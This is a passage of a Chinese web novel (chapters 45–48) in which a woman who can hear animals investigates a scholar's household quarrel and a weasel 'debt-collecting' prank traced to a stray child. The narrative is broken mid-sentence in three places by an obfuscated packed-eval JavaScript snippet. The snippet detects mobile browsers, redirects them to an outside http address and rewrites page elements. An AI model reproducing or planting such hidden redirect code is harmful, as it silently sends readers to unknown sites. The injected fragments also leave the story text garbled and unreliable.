上一回郑典史暴毙案后,她曾与京城六扇门通信,本以为会是余肖红余捕快回信,未料来信的竟是寇晟。自那之后,两人便断续有了书信往来。 不久前,穆青青还将自己写的几个普法小故事寄往京城,既是分享成文的欣喜,也暗藏着一点期待:若寇晟念在他们之间这笔友之交的份上,或许愿意为她提供一些有趣旧案的素材。 在这陌生的大曜王朝,穆青青虽独立自强,却也难免有飘零之感。这般偶然的书信往来于她而言,竟有几分像是结识了一位因距离遥远而可以真心交谈的“网友”一般,成了她生活中一份隐约的寄托。 她抬头看了看飘雪的天空。灰云低垂,巷子里各家屋檐都覆了一层薄白。 王铁匠在院里劈柴,虎子围着雪堆跑;张秀才家的窗户透出昏黄灯光,映出伏案读书的影子;李掌柜铺子早早关了,门口挂着“盘点”的木牌;赵阿婆门口脚印杂乱,猫儿们似乎刚经历过一场雪地嬉戏;陈秀儿在院里扫雪,手指冻得通红。 平静的表面下,每扇门后都有自己的冷暖。 穆青青轻轻呼出一口白气,推开院门。小荷已经生起了炭盆,屋里暖烘烘的。 “姑娘,晚上想吃什么?我买了豆腐,可以炖白菜。”小荷围着围裙,脸蛋红扑扑的。 “都好。”穆青青笑了笑,在炭盆边坐下,伸手烤火。 窗外的天色渐渐暗下来,巷子里陆续亮起灯火。谁家传来婴儿啼哭,谁家在炒菜,锅铲碰着铁锅的声音清脆。 就在这时,巷子深处忽然传来一声惊叫: “啊——!” 是女人的声音,尖利,凄惶,划破了冬日的黄昏。 穆青青猛地站起身。 小荷也吓了一跳:“姑娘,这声音……好像是张嫂子?” 穆青青已经抓起挂在墙上的短刀和披风,快步朝门外走去。 雪花还在飘,落在她肩头,瞬间化开。 梧桐巷的平静,似乎要被打破了。 45. 张秀才 穆青青冲出家门时,巷子里的灯火已一盏接一盏地亮了起来。 王家的大门最先“哐当”一声推开,王铁匠拎着根柴火棍冲出来,王娘子跟在后头,头发还有些散乱,显然是刚从灶台边跑出来的。 “怎么回事?谁在叫?”王铁匠粗着嗓子问。 穆青青顾不上回答,快步朝声音传来的方向走去——确实是张家。 张家的院门半掩着,里面透出昏黄的灯光。她推门而入,眼前的景象让她微微一怔。 张家的小院里,张娘子瘫坐在雪地上,脸色惨白,手捂着胸口,正大口喘着气。她面前的地上,散落着几件被撕坏的衣裳和几本湿漉漉的书。 张秀才站在屋檐下,面色铁青,手里还攥着一本被撕掉半页的书,指尖都在发抖。 “张嫂子,怎么回事?”穆青青上前扶起张娘子,触手只觉得她浑身都在打颤。 王铁匠夫妇也跟了进来,王娘子见状惊呼:“哎哟!这是怎么了?夫妻俩吵架也不能动这么大肝火啊!” 张秀才嘴唇翕动几下,却没发出声音,只是把那半本书攥得更紧。 张娘子被穆青青扶起,眼泪这才“唰”地流了下来:“他……他要把我的嫁妆衣裳当了……那是最后几件了……我没让,他就……” “当衣裳?”王铁匠愣了,“张秀才,年关将近,缺钱用?” 张秀才这才像是找回了声音,嘶哑地说:“开春府试……盘缠不够……家里实在……” 他话没说完,但意思已明。穆青青环视这个家徒四壁的小院,心中了然。张家本就清贫,支撑一个读书人赶考,确实是沉重的负担。 王娘子叹了口气:“缺钱也不能撕衣裳啊!多可惜!这料子看着还新呢……” 穆青青注意到,那几件被撕坏的衣裳料子确实不错,虽已半旧,但能看出曾是细棉布甚至带些暗纹,应是张娘子当年的嫁妆里压箱底的好东西。而地上那些湿漉漉的书,有一本封面写着《府试策论精要》,显然是张秀才备考的重要资料。 “书怎么也湿了?”穆青青问。 张娘子哭着说:“我……我气急了,把他泡茶的壶给掀了……我不是故意的……” 原来是这样一场因贫困而起的夫妻争执。穆青青心里有些发沉。 就在这时,她脑海中光幕一闪: 【梧桐巷·张家院内(当前在线:4)】 檐下燕子:【啾啾!打起来了打起来了!男主人撕衣裳,女主人泼茶水!】 墙缝蛐蛐:【瞿瞿!吓死本蛐蛐了!刚才那声尖叫差点震破我的洞!】 玳瑁猫(墙头):【喵……人类真麻烦。为几块布和几页纸就能闹成这样。】 灰鹦鹉(不知何处):【当!当!当衣裳!府试!盘缠!】 穆青青定了定神,对张秀才道:“张先生,再难也不能动手撕东西。衣裳撕了换不了钱,书湿了还得重买,这不是雪上加霜吗?” 张秀才脸上一阵红一阵白,低下头去。 王娘子热心肠,已经蹲下身捡起那些湿书:“赶紧晾晾,兴许还能救回来几页!张嫂子你也别哭了,夫妻哪有隔夜仇……” 正说着,李掌柜也闻声赶来了,手里还提着个灯笼:“怎么了这是?我在铺子里都听见动静了。” 待看清情况,李掌柜摇头:“张兄,这就是你的不是了。缺钱用可以商量,何必……” 张秀才羞愧难当,低声道:“李某兄说的是……是我一时糊涂。” 院子里正乱着,忽然又有一人走进来——是陈秀儿。她手里端着个小瓦罐,见这情形愣了愣,小声说:“我、我熬了点姜汤,想着天冷送些给街坊……听见动静就过来了。” 王娘子一拍大腿:“还是秀儿懂事!张嫂子冻坏了吧?快进屋,喝碗姜汤暖暖!” 众人七手八脚把张娘子扶进屋。张家屋内比院里更显清寒,家具寥寥,墙上贴着几张泛黄的字画,桌上摊着未写完的文章,墨迹已干。 陈秀儿默默地把姜汤分给众人。张娘子捧着热汤,眼泪又掉进碗里。 李掌柜轻咳一声:“张兄,实不相瞒,你若是真缺赶考的盘缠,我手头倒还有些闲钱,可以先借你应急。” 张秀才猛地抬头,眼眶发红:“这……这怎么使得……” “怎么使不得?”李掌柜温和道,“街里街坊的,谁没个难处?再说,你若有朝一日高中,咱们梧桐巷也脸上有光不是?” 王铁匠也粗声道:“就是!缺多少?我这儿也能凑点!” 穆青青看着这一幕,心里微暖。市井小民,或许爱嚼舌根,或许各有计较,但关键时刻,总归是朴素的善意更多。 张秀才起身,对着众人深深一揖:“各位高义,张某……感激不尽!” 这一揖,把方才的尴尬和窘迫都化开了几分。 待众人渐渐散去,穆青青留到最后。她帮张娘子把撕坏的衣裳收起来:“这些我拿回去,让小荷试着补补,兴许还能穿。” 张娘子拉住她的手,声音哽咽:“穆姑娘,让你见笑了……” “家家有本难念的经。”穆青青轻声道,“张嫂子,往后再有这样的事,莫要自己忍着。街坊们虽然嘴碎,但心是好的。” 从张家出来,雪已经停了。月光照在雪地上,泛着清冷的光。 穆青青走到巷口,正要回家,忽然听见墙头传来细细的猫叫。 抬头一看,是那只玳瑁猫。它蹲在墙头,黄绿异色的眸子在月光下幽幽发亮。 玳瑁猫:【喵……刚才那家,其实不止缺钱。】 穆青青心中一动,停住脚步:【怎么说?】 玳瑁猫舔舔爪子:【喵呜……前些天夜里,我听见那家男主人在院里自言自语,说什么“若此次再不中,有何颜面”……还念叨一个名字,叫什么“文远兄”的,说对不起他……】 文远兄?穆青青记下这个名字。 她又问:【还有别的吗?】 玳瑁猫甩甩尾巴:【喵……那只多嘴的灰鹦鹉最近老在巷子里学话,说什么“银子”“信”“还不起”……不知道是不是学这家的。】 灰鹦鹉?穆青青想起那只总爱学舌的家伙。看来得找机会“问问”它。 【多谢你。】她朝玳瑁猫点点头,从袖中摸出半条小鱼干放在墙头。 玳瑁猫矜持地嗅了嗅,这才低头吃起来。 回到家中,小荷已经急坏了:“姑娘,张家没事吧?” “没事,夫妻吵架。”穆青青简单说了经过,又把那几件撕坏的衣裳递给她,“你看看能不能补。” 小荷接过,翻看几处裂口:“料子是好料子,就是撕得太狠了……我试试吧。” 夜里,穆青青躺在床上,却睡不着。 张秀才口中的“文远兄”,灰鹦鹉学舌的“银子”“信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148443|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”“还不起”……这些碎片在她脑中盘旋。 若只是单纯的贫困,倒还好说。但若牵扯到债务、承诺,甚至更复杂的人际关系,那张家的困境恐怕不止表面看起来那么简单。 她翻了个身,窗外的月光透过窗纸,在墙上投下梧桐枝桠的影子。 第二日一早,穆青青照常去县衙点卯。 在衙门口,她遇见了赵捕头。赵捕头压低声音说:“青青,你昨日让我打听的事,有点眉目了。” 前几日,穆青青托赵捕头暗中查查张秀才的社会关系,特别是他提到的府试和可能存在的债务。 两人走到僻静处,赵捕头道:“张茂才,今年三十有五,考了十五年秀才,一直没中举。他父亲原是个小地主,家道中落后供他读书,十年前去世。母亲三年前也病故了。家里就剩他们夫妻俩。” “至于债务……”赵捕头顿了顿,“我找城里的几个老钱庄打听,倒没听说张秀才借过大笔印子钱。不过,有个线索——张秀才有个同窗,叫李文远,现在邻县做书吏。两人曾是至交,但近几年似乎疏远了。” 李文远!正是玳瑁猫提到的“文远兄”! 穆青青追问:“可知为何疏远?” 赵捕头摇头:“这就不清楚了。读书人的事,弯弯绕绕多。” 正说着,一个衙役匆匆跑来:“赵捕头,穆姑娘,西市那边又出事了!” “什么事?” “还是陈记杂货铺!陈老板今早开门,发现柜台抽屉里……多了样东西!” 穆青青和赵捕头对视一眼,立刻往西市赶去。 陈记杂货铺里,陈老板正对着一枚铜钱发愁。 那铜钱用红线穿着,挂在抽屉的锁扣上。钱是普通的“大曜通宝”,但红线上系着个小纸条,上面歪歪扭扭写着两个字:“还钱”。 “这、这是什么意思?”陈老板看见官差来了,连忙把铜钱递上,“我今早开门就看见这个!赵捕头,我可没欠谁钱啊!” 穆青青接过铜钱和纸条。纸条上的字迹稚拙,像是孩童或识字不多的人写的。 赵捕头皱眉:“挂个铜钱让你还钱?这唱的是哪出?” 陈老板急得团团转:“就是啊!我陈记开店二十年,向来本分经营,该结的账从不拖欠!这是谁在搞鬼?” 穆青青仔细查看那枚铜钱。铜钱很旧,边缘有些磨损,但没什么特别之处。红线倒是新的,是市面上常见的缝衣线。 “昨晚可有什么异常?”她问。 陈老板摇头:“没有啊!我昨晚打烊前还清点过,抽屉里就几十文零钱,今早都在。唯独多了这个!” 阿福在一旁插话:“老板,会不会是……是那些孩子恶作剧?” 西市一带常有孩童玩耍,翻墙爬树是常事。 陈老板却摇头:“哪个孩子会写‘还钱’?还特意用红线穿起来挂这儿?” 这倒是。 穆青青脑中忽然闪过一个念头。她蹲下身,再次查看柜台下方的角落——那个被杂物遮掩的破洞还在。 她伸手拨开杂物,仔细查看洞口边缘。在潮湿的泥土上,她发现了几道浅浅的……爪痕? 不是猫爪。猫爪印更圆润,这些痕迹更细长,像是…… “赵捕头,你看这个。” 赵捕头凑过来看了半晌,迟疑道:“这……像是黄鼠狼的脚印?” 黄鼠狼? 46. 一根鸡毛 穆青青心中一动。她起身对陈老板说:“这枚铜钱我们先带回去。您这几日留心些,若再有异常,立刻报官。” 从杂货铺出来,赵捕头挠头:“青青,你觉得这是人干的,还是……” “看看今晚就知道了。”穆青青道。 她心里已有猜测。若真是黄鼠狼,那这“还钱”的把戏,恐怕和之前的“猫盗案”有异曲同工之妙。 只是,黄鼠狼为何要让人“还钱”?还给谁“钱”? 傍晚回梧桐巷的路上,穆青青特意绕到西市口,找到了那个曾用小鱼干换铜钱的摊贩。 摊主见她来了,有些紧张:“官爷,我可再没收猫的‘钱’了!” “我不是为这个来的。”穆青青问,“你这几天可见过什么异常?比如……有黄鼠狼在附近出没?” 摊主一愣,想了想:“黄鼠狼?您这么一说……前几天的确见过一只,毛色黄亮,个头挺大。它也不怕人,就在巷子口转悠,我还以为是谁家养的呢。” “具体什么时候?” “大概……三四天前?对,是腊月初八那天,我记得因为那天我熬了腊八粥,它还凑过来闻呢。” 腊月初八?穆青青心中有数了。她谢过摊主,往家走去。 刚进梧桐巷,就听见王娘子的大嗓门:“……所以说啊,那陈家铺子就是招惹了不干净的东西!先是猫偷钱,现在又是铜钱自己飞回来让还钱!啧啧,吓人!” 几个妇人围在她家门口,听得津津有味。 穆青青路过时,王娘子眼睛一亮:“穆姑娘!你听说没?西市那边又出怪事了!” “听说了。”穆青青淡淡应道。 王娘子却不肯放过她,凑过来小声说:“我跟你说,这可不是小事!我娘家那边以前也有过这种事,黄大仙讨债!你要是欠了黄大仙的东西不还,它就变着法儿折腾你!” 旁边一个妇人接话:“是啊是啊!黄大仙可灵验了!陈老板肯定是无意中得罪了!” 穆青青哭笑不得。市井传言,总是越传越玄。 她正要解释,忽然看见张娘子从巷子深处走来,手里提着个空篮子,脸色比昨日更差,眼睛红肿着。 “张嫂子。”穆青青打招呼。 张娘子像是惊了一下,勉强笑了笑:“穆姑娘。” 王娘子又转移了目标:“张嫂子,你这脸色可不好!昨天吓着了吧?要我说,你家秀才也是,缺钱就跟街坊开口嘛,何必……” 张娘子低下头,匆匆说了句“我还有事”,就快步走开了。 穆青青看着她的背影,若有所思。 回到家中,小荷已经做好了饭。 吃饭时,小荷说:“姑娘,我今天去还补好的衣裳给张嫂子,她不在家。张秀才开的门,接过衣裳时,我瞧见他手上……有好几道伤,新的。” “伤?” “嗯,像是抓伤。”小荷比划着,“这么长,在手臂上。我问怎么弄的,他说是搬书时划的。可我看那伤痕,分明是指甲抓出来的。” 指甲抓伤?张娘子的指甲? 穆青青想起昨日张娘子撕扯衣裳时那双激动的手。 晚饭后,她坐在灯下,将这几日的事一一理清。 张家夫妻因钱财争执,张秀才可能欠了同窗李文远的债,压力巨大;陈记杂货铺出现“黄大仙讨债”的怪事; 正想着,脑海中光幕闪烁起来: 【梧桐巷夜话(当前在线:6)】 玳瑁猫:【喵……今晚巷子里有生面孔。】 灰鹦鹉(不知何处):【还钱!还钱!黄老爷要你还钱!】 墙缝蛐蛐:【瞿瞿!那只大黄鼠狼又来了!在巷子东头转悠呢!】- 王家芦花鸡:【咯咯哒!今晚怎么这么吵?还让不让鸡睡觉了!】 李家看门狗:【汪汪……又在熬药了,苦味飘过来,本汪鼻子难受。】 穆青青精神一振。黄鼠狼果然在巷子里! 她轻声问:【那只黄鼠狼,现在在哪儿?】 墙缝蛐蛐:【瞿瞿!刚才还在东头王铁匠家柴堆那儿,现在不知道了!】 灰鹦鹉:【黄老爷!黄老爷!一根鸡毛十文钱!】 鸡毛?十文钱? 穆青青愣住了。这都什么跟什么? 她正想再问,忽然听见窗外传来极轻的“窸窣”声,像是有什么小动物在扒拉窗纸。 她轻轻走到窗边,推开一条缝。 月光下,一只毛色黄亮、个头不小的黄鼠狼正蹲在窗台下。它嘴里叼着……一根鸡毛? 看见穆青青,黄鼠狼也不跑,反而直立起来,两只前爪捧着那根鸡毛,朝她作揖似地拜了拜。 然后,它把鸡毛放在窗台上,又不知道从哪儿摸出一枚铜钱,压在鸡毛上。 做完这些,它再次作揖,转身“嗖”地窜进阴影里,不见了。 穆青青:“……” 她推开窗,拿起那根鸡毛和铜钱。鸡毛是普通的芦花鸡毛,铜钱依旧是“大曜通宝”。 这黄鼠狼,到底在干什么? 她忽然想起灰鹦鹉的话:“一根鸡毛十文钱”。 难道……这黄鼠狼是在“卖”鸡毛?可是这次,怎么没有写着“还钱”的小纸条呢? 这念头太过离奇,连她自己都觉得好笑。可眼前的东西实实在在,由不得她不信。 穆青青想了想,从袖中摸出十文钱,用红线串了,放在窗台上。然后关上窗,退到暗处观察。 约莫半盏茶功夫,窗缝里探进一个小小的黄脑袋。 黄鼠狼看见那串铜钱,眼睛亮了亮。它灵活地爬进来,叼起钱串,又从窗台跳出去,消失在了夜色中。 自始至终,它都没碰那根鸡毛和原先那枚铜钱。 穆青青看着这一幕,心中渐渐有了个大胆的猜想。 这黄鼠狼,恐怕不是“讨债”,而是在……做买卖? 第二天,穆青青起了个大早。 她没有去县衙,而是先去了西市陈记杂货铺。 陈老板看见她,连忙问:“穆姑娘,可有什么进展?” 穆青青不答反问:“陈老板,您再仔细想想,腊月初八前后,您有没有……捡到或收到过什么特别的东西?比如……一根鸡毛?” 陈老板一愣:“鸡毛?” 阿福在一旁插话:“老板,您忘了?腊八那天,不是有只黄鼠狼窜进店里,掉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152637|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一根鸡毛在柜台下吗?您还说‘晦气’,让我扫出去了。” 陈老板一拍脑门:“对!是有这么回事!那黄鼠狼胆子大,青天白日就敢往店里钻!嘴里还叼着个什么东西,看见我就跑了,掉下根鸡毛。” “您看见它叼着什么了吗?” “没看清,”陈老板回忆道,“我当时忙着招呼客人,没在意。” 穆青青心中有数了。她又问:“那之后,您店里可曾丢过什么不值钱的小物件?比如……顶针、纽扣、绣花针之类的?” 阿福眼睛一亮:“有!丢了个铜顶针!是我娘给我缝衣裳用的,不值钱,但用了好多年了。我以为是自己弄丢了,就没说。” 铜顶针,亮晶晶的。 黄鼠狼有收集亮晶晶小物件的习性。 穆青青理顺了思路,对陈老板道:“事情恐怕始于一场误会。腊七那晚,黄鼠狼可能是先来偷铜顶针的。” 阿福惊呼:“对!我的顶针就是那前后丢的!” “它得手后溜走时,仓促间掉了一根鸡毛在店里。这毛被它看作自己的东西,如今落在您这儿,它便认准是您‘拿’了。” “于是它执着地要‘讨回’这根毛,结果那根“鸡毛”早就不见了,于是它便学着让你们用铜钱来‘换’……但有一点绝对说不通:黄鼠狼不可能写字。那些纸条,必定是人写的。那十文钱的价码,怕也是那个人给它定的价。” 陈老板听得瞪圆了眼:“它先偷我顶针,反倒来跟我讨鸡毛钱?” “正是。”穆青青忍笑,“这不是讨债,是它在跟您算一笔它认准的账。” 陈老板哭笑不得:“我可真倒霉啊!再说,一根鸡毛十文钱?这物价也太贵了!” “在黄鼠狼眼里,鸡毛可能是很珍贵的‘货物’呢。”穆青青道,“毕竟它要弄到一根完整的鸡毛,也不容易。” 最后,陈老板掏出十文钱:“得,我认了!这钱我出,就当破财消灾!” 穆青青却摇头:“您先别急。今晚我设个局,咱们跟这位‘黄老爷’好好谈谈。如果能找到在它背后给它出主意的那个人就更好了。” 是夜,月明星稀。 陈记杂货铺后院,穆青青、赵捕头、陈老板三人躲在柴堆后。 穆青青在院子中央摆了个小木盘,盘里放着两样东西:左边是十文钱,用红线穿着;右边则是一小条油炸小鱼干。 “这是做什么?”赵捕头小声问。 “谈判。”穆青青轻声道,“告诉它,钱我们给了,小鱼干是赔礼。” 陈老板嘀咕:“跟黄鼠狼谈判?这事儿说出去谁信……” 正说着,墙头黑影一闪。 那只黄亮的大黄鼠狼出现了。 它蹲在墙头,警惕地观察了一会儿,然后轻盈跳下,踱步到木盘前。 它先看了看那串铜钱,再把目光落在小鱼干上。 黄鼠狼直立起来,像是在思考。然后,它做了件让所有人都没想到的事—— 它先叼起那串铜钱放到一边;然后才叼起小鱼干,却没有立刻吃,而是朝穆青青藏身的方向拜了拜。 拜完,它才坐下来,小口小口地吃起鱼干。吃相竟有几分斯文。 47. 丁小猴 吃完后,它又把那串铜钱推回原位,然后叼起木盘里原先垫着的红布(那是陈老板包铜钱用的),转身跃上墙头,消失不见了。 整个过程行云流水,透着一种奇异的“规矩”。 三人从藏身处出来,面面相觑。 “它这是……什么意思?”陈老板看着木盘里纹丝未动的十文钱,一头雾水。 穆青青却看懂了:“它接受了小鱼干作为赔礼,也没收钱。意思大概是……这笔买卖两清了?” 赵捕头啧啧称奇:“这黄鼠狼,还真讲究!” 陈老板松了口气:“清了就好,清了就好!” 正说着,墙头又探出那个黄脑袋。 黄鼠狼嘴里叼着个东西,轻轻一抛,落在陈老板脚边。 是个小小的、用草茎编的……篮子?巴掌大小,编得还挺精巧。 黄鼠狼朝陈老板拜了拜,这次是真的消失了。 陈老板捡起那个小草篮,哭笑不得:“这……这算什么?” 穆青青笑道:“可能是它的回礼。毕竟您请它吃了小鱼干。” 事情至此,看起来已经圆满解决。 回去的路上,赵捕头感慨:“青青啊,跟着你办案,真是长见识。猫偷钱买鱼干,黄鼠狼卖鸡毛讨债……这些事儿写进话本里,都没人信!” 穆青青但笑不语。 回到梧桐巷,已是深夜。 穆青青轻手轻脚推开院门,却见正屋的灯还亮着。 小荷趴在桌上睡着了,手边还放着针线,她又在补那几件撕坏的衣裳。 穆青青轻轻叫醒她:“怎么不回房睡?” 小荷揉着眼睛:“我想着今晚补完,明天好给张嫂子送去……姑娘,事情解决了?” “解决了。”穆青青简要说了一遍。 小荷听得眼睛发亮:“黄鼠狼还会做买卖?真有意思!” “是啊。”穆青青看着窗外月色,“这世上,有意思的事多着呢。” 她让小荷去睡,自己却毫无睡意。 坐在灯下,她铺开纸笔,开始写新的话本大纲。 标题暂定:《市井奇谭录》。 第一篇:“狸奴窃铜钱,巧换小鱼干”,这一篇准备写瓦片和橘点点的故事。 第二篇:“黄仙卖鸡毛,十文不相欠”,这一篇准备写这只讲究的黄鼠狼。 她笔下不停,文思如泉涌。 这些鲜活的小故事,比那些故作玄虚的怪谈有趣多了。它们有温度,有灵性,让人在会心一笑中,看见世间万物皆有情。 写着写着,她忽然想起张家的困境,笔尖顿了顿。 与这些单纯可爱的小生灵相比,人类的烦恼要复杂得多。钱财、人情、前途、脸面……层层叠叠,交织成网。 她想起寇晟信中所言:“家族二字入手……血缘真伪、亲情虚实,其中利益与伦常之纠葛,虽不似刀光血影,却往往更撼动人心。” 也许,她可以着手准备写一本连载长篇小说了? 不过说会到张家,张秀才的问题恐怕不止是缺钱那么简单。 穆青青放下笔,走到窗边。 月色清冷,梧桐巷在冬夜里显得特别安静。 张秀才手臂上的抓伤,张娘子红肿的眼睛,那个神秘的“文远兄”,还有灰鹦鹉学舌的“银子”“信”“还不起”…… 这些碎片,还缺一条线把它们串起来。 而这条线,恐怕只有张家夫妻两人才知道了。 穆青青轻轻呼出一口白气。 看来,得找个机会,好好跟张家夫妻谈谈了。 不为破案,只为了街坊情谊。 窗外,忽然传来极轻的“叩叩”声。 像是有人在敲窗。 穆青青心头一跳,轻轻推开窗—— 月光下,那只玳瑁猫蹲在窗台上,嘴里叼着个东西。 是一个小小的、折叠得很整齐的纸片。 玳瑁猫把纸片放在窗台上,朝她轻轻“喵”了一声,转身跳下窗台,消失在夜色中。 穆青青拿起纸片,展开。 上面是几行歪歪扭扭的字,墨迹很新: “张娘子藏了东西,在灶膛第三块砖下。” 没有落款。 穆青青看着这行字,心中掀起波澜。 这字迹……和白天陈记杂货铺那张“还钱”纸条,如出一辙。 可这纸条,是一只猫送来的? 或者说……是有人,借猫之手送来的? 她抬眼望向窗外沉沉的夜色。 梧桐巷的秘密,似乎比她想象的还要深。 日子平静了几日。这天清晨,穆青青刚到县衙点卯,赵捕头就匆匆寻来。 “青青,陈记杂货铺那边又出事了!”赵捕头眉头紧锁,“陈老板天刚亮就跑到衙门来,说今早卸门板时,发现门槛里面又贴了张‘还钱’的纸条!” 穆青青心中一凛:“字迹一样?” “陈老板说一模一样!” 两人立刻赶往西市。陈记杂货铺门口,陈老板正像热锅上的蚂蚁团团转,阿福陪在一旁,脸上也满是忧虑。 见官差到来,陈老板急忙指向内侧门板:“赵捕头,穆姑娘,你们看!” 靠近门轴不易察觉的位置,一张土黄色的草纸被浆糊牢牢黏在门板上。 纸上“还钱”二字歪歪扭扭,墨迹已干,与上次的字迹如出一辙。 “我今早一卸门板就看见了!”陈老板声音发急,“浆糊摸起来还有点黏手,里头已经干了,肯定是后半夜贴的!这、这到底是谁?黄大仙不是已经两清了吗?” 穆青青小心揭下纸条,仔细端详。纸张粗糙廉价,墨迹浓淡不均,写字的人显然控笔不稳。 “黄鼠狼可不会写字,也不会熬浆糊、找纸张。”她语气肯定,“做这件事的,是人。而且,很可能就住在附近,对我们那晚‘谈判’的结果并不知情,或者……不认可。” 赵捕头摸着下巴:“不认可?他觉得咱们给小鱼干是糊弄事儿?” “或许在他眼里,黄鼠狼就是被欺负了,他在替它‘讨公道’。”穆青青边说边在脑中复盘这个诡异地案子。 她倒推着思考,思路再次回到那枚亮晶晶的、最初引发一系列误会的铜顶针上。 她转向阿福,换了一种更具体的问法:“阿福哥,关于那枚顶针,你上次说丢了。你再仔细回想一下那几天的情形,比如搬货、清扫的时候,有没有在店门口或者街边摆弄过它?” 阿福被这么一问,皱着眉,努力在记忆中搜寻:“那几天……那几天……算算日子差不多是初八前后,初八,初八,腊八!对了!那天我娘特意叮嘱过我,说家里的顶针不知道丢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167958|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪儿去了,让我把之前带到店里来缝补破衣裳的旧顶针带回去……我上午就随手把顶针塞进了怀里,然后一整天都在店门口卸一批新到的瓷碗,怕磕碰,我蹲着弄了很久。” 他眼睛渐渐睁大,猛地一拍大腿:“我想起来了!我搬完最后一箱起身的时候,好像听见‘叮’一声轻响,特别清脆,像是什么小金属东西掉在石板上了!我当时累得腰酸,回头看了一眼,正好有辆送木炭的板车‘嘎吱嘎吱’经过,尘土扬起来,我也没太在意!等车过去,我什么都没看到!后来铺子里忙,我就把这事抛到脑后了,直到您上回问起丢东西……” 穆青青立刻追问:“当时街上有别人吗?尤其是小孩?” 阿福和旁边的陈老板几乎同时脱口而出:“丁小猴!” 陈老板补充道,语气带着笃定:“准是他!那野孩子整天在附近晃荡,翻捡破烂、看热闹,眼睛尖得很!肯定是他趁乱捡走了!” 丁小猴? 孩童笔迹、收集亮物的癖好、对黄鼠狼的“同情”,瞬间在穆青青脑中串联起来。 “赵捕头,我们得去找这个丁小猴。”穆青青道,“不过,找到后先别吓着他,问清楚再说。” 寻找丁小猴没费太大功夫。他常在城隍庙破败的偏殿里栖身。穆青青和赵捕头找到他时,他正缩在角落的草堆里,面前摊着几颗擦得发亮的彩色鹅卵石、一段褪色的红头绳,还有那枚被摩挲得锃亮的铜顶针。 旁边的泥地上,还用烧过的木炭歪歪扭扭地练习着“钱”、“还”、“十”等字。 看到官差,丁小猴像受惊的兔子般跳起来想跑,被赵捕头一把拦住。 “别怕,我们不是来抓你的。”穆青青蹲下身,语气平和,指了指那铜顶针,“这个,是你在陈记杂货铺门口的石板缝里捡到的,对吗?” 丁小猴紧紧攥着衣角,脏兮兮的小脸上满是警惕和不安,点了点头。 “杂货铺门板上贴的纸条,也是你写的、你贴的,对吗?” 他咬着干裂的嘴唇,又点了点头,忽然鼓起勇气,带着哭腔说:“黄大仙……它,它的鸡毛被陈老板拿走了!它想要回来,或者换钱……陈老板欺负它!我看见了!那天,黄大仙叼着东西进店,被陈老板吼着撵出来,鸡毛都掉了!我……我想帮它!” 他举起紧握的小拳头,像是为自己壮胆,“我帮它‘讨债’!我认得几个字,跟庙里老乞丐学的……贴纸条,更像真的讨债……” 孩子的逻辑简单而直接。 他目睹了黄鼠狼受惊跑出,看到了掉落的鸡毛,便认定是店主蛮横夺了黄鼠狼的“宝贝”。他捡到那枚亮晶晶的顶针,吸引得黄鼠狼与他亲近,甚至跟着他回到了破庙,这让他更觉得他和黄鼠狼是盟友,甚至觉得是黄鼠狼在向他求救。 于是他用省下的食物碎屑接近那只黄鼠狼,观察它,甚至可能无意中用食物奖励过它叼来小物件的动作。在他稚嫩的心里,自己成了这位不会说话的“朋友”的军师和代言人。 “那黄鼠狼知道你在帮它吗?你们怎么‘商量’的?”穆青青温和地问。 丁小猴茫然地摇摇头,眼神有些失落:“它……它听不懂我说话。我就是看它老在铺子附近转,有时候我给它点吃的,它就会叼些亮的小东西放在我常待的地方……贴纸条是我自己想的,我觉得这样更像真的讨债,能吓住陈老板。” 48. 秀才的心结(1) 一切终于豁然开朗。 黄鼠狼的行为,完全是基于动物本能(收集亮物、食物交换)和简单的条件反射(某些行为可能曾得到过食物奖励)。 它与丁小猴之间,并无真正的“合谋”或交流。那晚它接受小鱼干后离开,并非因为与陈老板“两清”,而是它可能将穆青青视为了新的、更有效的“交易对象”。 所以它后来去穆青青窗外,进行了一场它认为是新的、成功的“鸡毛换钱”交易。 在它简单的认知里,穆青青这个新的两脚兽远比杂货店里的要好;她会给它带来小鱼干,应该也会给它换铜板。有了铜板就可以学猫一样去找人换东西吃了。 而丁小猴并不知道那晚后院的“谈判”,也不知道黄鼠狼与穆青青之间新的“交易”。他执着地认定了杂货店老板欺负了他的“朋友”,所以他要替它主持“正义”,于是再次贴出了纸条。 这场闹剧的真相竟是如此。 